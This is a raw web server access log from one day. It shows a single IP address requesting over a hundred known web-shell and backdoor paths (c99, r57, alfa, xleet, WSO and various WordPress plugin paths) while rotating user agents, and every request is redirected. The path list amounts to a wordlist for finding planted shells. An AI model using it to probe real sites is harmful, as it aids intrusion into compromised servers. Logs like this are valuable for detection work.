98.159.43.135 - - [21/Feb/2026:16:39:31 +0300] "GET /allahnaber.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:31 +0300] "GET /AK-74.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:31 +0300] "GET /alfa3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:32 +0300] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:39:32 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:39:32 +0300] "GET /c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:32 +0300] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:32 +0300] "GET /cw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:33 +0300] "GET /date.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:33 +0300] "GET /haxor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:33 +0300] "GET /icomsium.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:33 +0300] "GET /ico.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:33 +0300] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:34 +0300] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:34 +0300] "GET /mass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:39:34 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:39:34 +0300] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:35 +0300] "GET /pws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:35 +0300] "GET /r57.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:35 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:39:35 +0300] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:35 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:36 +0300] "GET /new-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:39:36 +0300] "GET /wp-content/batm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:36 +0300] "GET /wp-content/masshp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:36 +0300] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:37 +0300] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:37 +0300] "GET /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:37 +0300] "GET /ALFA_DATA/alfacgiapi/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:37 +0300] "GET /ALFA_DATA/alfacgiapi/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:37 +0300] "GET /ALFA_DATA/alfacgiapi/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:39:38 +0300] "GET /ALFA_DATA/alfacgiapi/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:38 +0300] "GET /ALFA_DATA/alfacgiapi/r57.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:38 +0300] "GET /ALFA_DATA/alfacgiapi/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:39:38 +0300] "GET /ALFA_DATA/alfacgiapi/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:39:39 +0300] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:39 +0300] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:39:39 +0300] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:39 +0300] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:39 +0300] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:40 +0300] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:40 +0300] "GET /wp-content/plugins/html404/cry.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:40 +0300] "GET /wp-includes/css/F0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:40 +0300] "GET /wp-content/uploads/F0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:39:40 +0300] "GET /class-wp-widget-archives.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:41 +0300] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:41 +0300] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:41 +0300] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:41 +0300] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:41 +0300] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:42 +0300] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:42 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:42 +0300] "GET /xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:42 +0300] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:42 +0300] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:43 +0300] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:43 +0300] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:43 +0300] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:43 +0300] "GET /xlt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:43 +0300] "GET /wp-content/plugins/xt/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:44 +0300] "GET /wp-content/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:39:44 +0300] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:44 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:39:44 +0300] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:45 +0300] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:45 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:45 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:45 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:46 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:46 +0300] "GET /wp-pano.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:46 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:46 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:39:46 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:46 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:47 +0300] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:47 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:39:47 +0300] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:47 +0300] "GET /WSOEnigma.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:48 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:39:48 +0300] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:48 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:48 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:48 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:49 +0300] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:49 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:49 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:49 +0300] "GET /gebase.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:39:50 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:50 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:50 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:50 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:39:50 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:51 +0300] "GET /contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:51 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:51 +0300] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:51 +0300] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:39:51 +0300] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:52 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:52 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:52 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:39:52 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:52 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:53 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:53 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:53 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:39:53 +0300] "GET /text.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 98.159.43.135 - - [21/Feb/2026:16:39:53 +0300] "GET /xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:39:54 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:39:54 +0300] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:39:54 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:54 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:54 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:55 +0300] "GET /bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:39:55 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:39:55 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:39:55 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 